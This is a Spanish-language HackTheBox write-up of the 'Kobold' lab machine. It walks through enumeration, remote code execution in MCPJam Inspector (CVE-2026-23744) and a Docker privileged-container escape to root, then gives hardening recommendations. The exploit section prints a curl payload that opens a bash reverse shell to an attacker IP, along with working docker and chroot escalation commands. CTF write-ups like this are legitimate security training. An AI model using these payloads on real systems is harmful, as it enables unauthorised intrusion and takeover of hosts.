HackTheBox

Kobold



Key Findings


Durante el análisis de seguridad de la máquina Kobold se identificaron las siguientes vulnerabilidades críticas:

  • MCPJam Inspector v1.4.2 vulnerable a ejecución remota de código (CVE-2026-23744)
  • Version disclosure mediante Sentry Release ID en código JavaScript
  • Membresía oculta en grupo docker vía /etc/gshadow
  • Usuario con acceso al socket de Docker sin restricciones
  • Contenedores Docker ejecutándose con privilegios elevados
  • Montaje del filesystem del host en contenedores Docker
  • Diferencias en capabilities entre imágenes Docker (mysql vs privatebin)
  • Escalada de privilegios mediante Docker privileged containers y chroot

Key Learning Objectives


Los objetivos de aprendizaje clave en esta máquina incluyen:

  • ✅ Port Scanning & Service Enumeration
  • ✅ Virtual Host Discovery with Gobuster
  • ✅ Version Discovery via Sentry Release Tracking
  • ✅ GitHub Commit Analysis for Version Identification
  • ✅ MCPJam RCE Exploitation - CVE-2026-23744
  • ✅ Linux Group Membership Analysis (/etc/group vs /etc/gshadow)
  • ✅ Docker Socket Exploitation
  • ✅ Container Capabilities Analysis
  • ✅ Docker Privileged Container Escape

Reconnaissance & Enumeration


El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.

❯ nmap -p- --open -n -Pn -vvv -oG ports --min-rate=2500 10.129.19.102

# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.19.102 ()  Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 443/open/tcp//https///, 3552/open/tcp//taserver///

❯ nmap -p 22,80,443,3552 -sCV -oN services 10.129.19.102

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp  open  ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
3552/tcp open  http     Golang net/http server
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Resultados:

  • Puerto 22/tcp: OpenSSH 9.6p1 Ubuntu
  • Puerto 80/tcp: nginx 1.24.0 con redirección a https://kobold.htb/
  • Puerto 443/tcp: nginx 1.24.0 (SSL) con wildcard certificate (*.kobold.htb)
  • Puerto 3552/tcp: Golang net/http server

Agregamos el dominio al archivo hosts:

❯ echo '10.129.19.102 kobold.htb' | sudo tee -a /etc/hosts


Subdomain Enumeration


Dado que el certificado SSL indica la presencia de subdominios (*.kobold.htb), realizamos enumeración de virtual hosts:

❯ gobuster vhost -u https://kobold.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -t 50 -k --append-domain

Subdominios encontrados:

  • mcp.kobold.htb
  • bin.kobold.htb

Agregamos los subdominios al archivo hosts:

❯ echo '10.129.19.102 kobold.htb mcp.kobold.htb bin.kobold.htb' | sudo tee /etc/hosts


MCPJam Version Discovery


Al analizar mcp.kobold.htb con Wappalyzer, identificamos que está utilizando Sentry para tracking de errores.

Abrimos las herramientas de desarrollador (Network tab), recargamos la página y buscamos por la keyword "sentry". Encontramos el release ID en el código JavaScript:

SENTRY_RELEASE={id:"af9cf6a62f550e986fe330c09b8a3b8b83136df6"}

Utilizamos este commit ID para identificar la versión exacta consultando la API de GitHub:

❯ curl -s "https://api.github.com/repos/MCPJam/inspector/commits/af9cf6a62f550e986fe330c09b8a3b8b83136df6" | \
  python3 -m json.tool | grep -E "message|date"

"date": "2026-01-08T02:08:16Z"
"message": "v1.4.2"

Versión identificada: MCPJam Inspector v1.4.2


Vulnerability Identification


Investigando esta versión específica de MCPJam Inspector, encontramos que es vulnerable a CVE-2026-23744, una vulnerabilidad de ejecución remota de código.

Referencia: https://github.com/advisories/GHSA-232v-j27c-5pp6


RCE Exploitation - CVE-2026-23744


Preparamos un listener para recibir la reverse shell:

❯ nc -lvp 4444

Ejecutamos el exploit enviando un payload malicioso al endpoint de MCP:

❯ curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.138/4444 0>&1"],"env":{}},"serverId":"pwned"}'

Obtenemos acceso exitoso al sistema como usuario ben:

ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami
ben


System Enumeration


Ejecutamos Linpeas para enumerar posibles vectores de escalada de privilegios:

ben@kobold:~$ ./linpeas.sh &> linpeas_full_output.txt

Durante la enumeración, encontramos evidencia de contenedores Docker en el sistema al revisar archivos package.json y procesos en ejecución.


Docker Discovery


Confirmamos que Docker está ejecutándose como root:

ben@kobold:~$ ps aux | grep dockerd
root        1614  0.1  2.0 2193300 81248 ?       Ssl  Mar31   0:21 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Verificamos la red Docker:

ben@kobold:~$ ifconfig
docker0: flags=4163  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255

Sin embargo, al intentar listar contenedores e imágenes, obtenemos errores de permisos:

ben@kobold:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock

ben@kobold:~$ docker images
permission denied while trying to connect to the Docker daemon socket


Hidden Group Membership


Verificamos los grupos del usuario:

ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

ben@kobold:~$ grep docker /etc/group
docker:x:111:alice

Aparentemente, ben no es miembro del grupo docker según /etc/group. Sin embargo, ejecutamos newgrp docker:

ben@kobold:~$ newgrp docker
ben@kobold:~$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

Explicación: La membresía de grupos en Linux se gestiona en dos archivos:

  • /etc/group - legible por cualquier usuario, aquí docker solo listaba a alice
  • /etc/gshadow - legible solo por root, aquí ben sí estaba listado como miembro

Cuando ejecutamos newgrp docker, el binario (que tiene el bit setuid y corre como root) consulta /etc/gshadow, encuentra a ben como miembro legítimo y lanza un nuevo shell con el grupo docker activo.

Ahora podemos listar contenedores e imágenes:

ben@kobold:~$ docker ps -a
CONTAINER ID   IMAGE                               COMMAND                  CREATED       STATUS       PORTS                      NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   6 weeks ago   Up 3 hours   127.0.0.1:8080->8080/tcp   bin

ben@kobold:~$ docker images
REPOSITORY                    TAG       IMAGE ID       CREATED        SIZE
mysql                         latest    f66b7a288113   7 weeks ago    922MB
privatebin/nginx-fpm-alpine   2.0.2     f5f5564e6731   5 months ago   122MB


Docker Privilege Escalation


Tenemos dos imágenes disponibles. Intentamos la escalada con ambas para entender las diferencias en capabilities.

Método de escalada:

ben@kobold:~$ docker run --rm --privileged -v /:/host-root -it mysql:latest chroot /host-root /bin/bash

Explicación del comando:

  • docker run - Crea y ejecuta un contenedor nuevo
  • --rm - Elimina el contenedor automáticamente al salir (sin rastro)
  • --privileged - Otorga todas las capabilities al contenedor
  • -v /:/host-root - Monta el filesystem raíz del host en /host-root
  • -it mysql:latest - Usa la imagen mysql en modo interactivo
  • chroot /host-root /bin/bash - Cambia el directorio raíz al filesystem del host

Container Capabilities Analysis


¿Por qué funciona con mysql pero no con privatebin?

Cuando ejecutamos un contenedor con --privileged, Docker otorga todas las capabilities. Sin embargo, cada imagen puede dropear esas capabilities en su entrypoint.

Verificamos las capabilities de ambas imágenes:

mysql:latest - MANTIENE todas las capabilities:

ben@kobold:~$ docker run --rm --privileged -it mysql:latest cat /proc/self/status | grep Cap

CapInh: 0000000000000000
CapPrm: 000001ffffffffff  ← ¡Tiene TODAS las capabilities!
CapEff: 000001ffffffffff  ← ¡Todas activas!
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

privatebin/nginx-fpm-alpine - DROPEA todas las capabilities:

ben@kobold:~$ docker run --rm --privileged -it --entrypoint /bin/cat privatebin/nginx-fpm-alpine:2.0.2 /proc/self/status | grep Cap

CapInh: 0000000000000000
CapPrm: 0000000000000000  ← ¡Ninguna!
CapEff: 0000000000000000  ← ¡Ninguna activa!
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

El problema es que chroot requiere específicamente la capability CAP_SYS_CHROOT. Con privatebin esa capability fue dropeada en su entrypoint, por eso obtenemos chroot: operation not permitted.

Lección aprendida: --privileged es condición necesaria pero no suficiente. También importa que la imagen no dropee capabilities en su entrypoint.


Root Access Achievement


Ejecutamos el contenedor privilegiado con la imagen mysql y obtenemos root:

ben@kobold:~$ docker run --rm --privileged -v /:/host-root -it mysql:latest chroot /host-root /bin/bash

root@container:/# whoami
root

root@container:/# cat /root/root.txt

Cadena lógica de la explotación:

Ser miembro del grupo docker
        ↓
Podemos escribir en /var/run/docker.sock
        ↓
Podemos hablarle al daemon dockerd (que corre como root)
        ↓
Le pedimos crear un contenedor con --privileged
        ↓
El contenedor tiene acceso total al disco del host via -v /:/host-root
        ↓
chroot cambia nuestra raíz al disco del host
        ↓
root


Recommendations



Immediate Actions


1. MCPJam Inspector Security

  • Actualizar MCPJam Inspector a la última versión disponible
  • Aplicar parches de seguridad para CVE-2026-23744
  • Implementar validación estricta de entrada en endpoints de API
  • Deshabilitar Sentry release tracking en producción o usar IDs ofuscados

2. Docker Group Management

  • Auditar membresías en /etc/gshadow además de /etc/group
  • Eliminar usuarios innecesarios del grupo docker
  • Implementar rootless Docker para servicios no críticos
  • Considerar usar Podman en lugar de Docker para mejor aislamiento

3. Docker Socket Protection

  • Restringir acceso al socket de Docker (/var/run/docker.sock)
  • Usar Docker socket proxy para limitar comandos permitidos
  • Implementar Docker authorization plugins
  • Auditar regularmente permisos del socket de Docker

4. Container Security

  • NUNCA usar flag --privileged en producción
  • Evitar montar el filesystem del host (/) en contenedores
  • Implementar AppArmor o SELinux profiles para contenedores
  • Usar user namespaces para mapear UID 0 del contenedor a UID no privilegiado del host

Long-term Security Improvements


1. Access Controls

  • Implementar principio de mínimo privilegio en membresías de grupos
  • Regular auditoría de /etc/group y /etc/gshadow
  • Implementar RBAC para acceso a Docker
  • Usar herramientas como Falco para detectar comportamientos anómalos

2. Container Runtime Security

  • Implementar políticas de seguridad con OPA (Open Policy Agent)
  • Usar imágenes base minimal y verificar sus capabilities
  • Implementar escaneo de imágenes con Trivy o Clair
  • Establecer políticas de no ejecutar contenedores como root

3. Monitoring & Detection

  • Implementar logging de todos los comandos docker ejecutados
  • Alertas para ejecución de contenedores con --privileged
  • Monitorear montajes de directorios sensibles del host
  • Detectar uso de chroot en contenedores

4. Version Disclosure Prevention

  • No exponer commit IDs o release tags en código JavaScript de producción
  • Configurar Sentry para usar release IDs genéricos
  • Implementar obfuscación de código en producción
  • Regular auditoría de información expuesta en headers y código fuente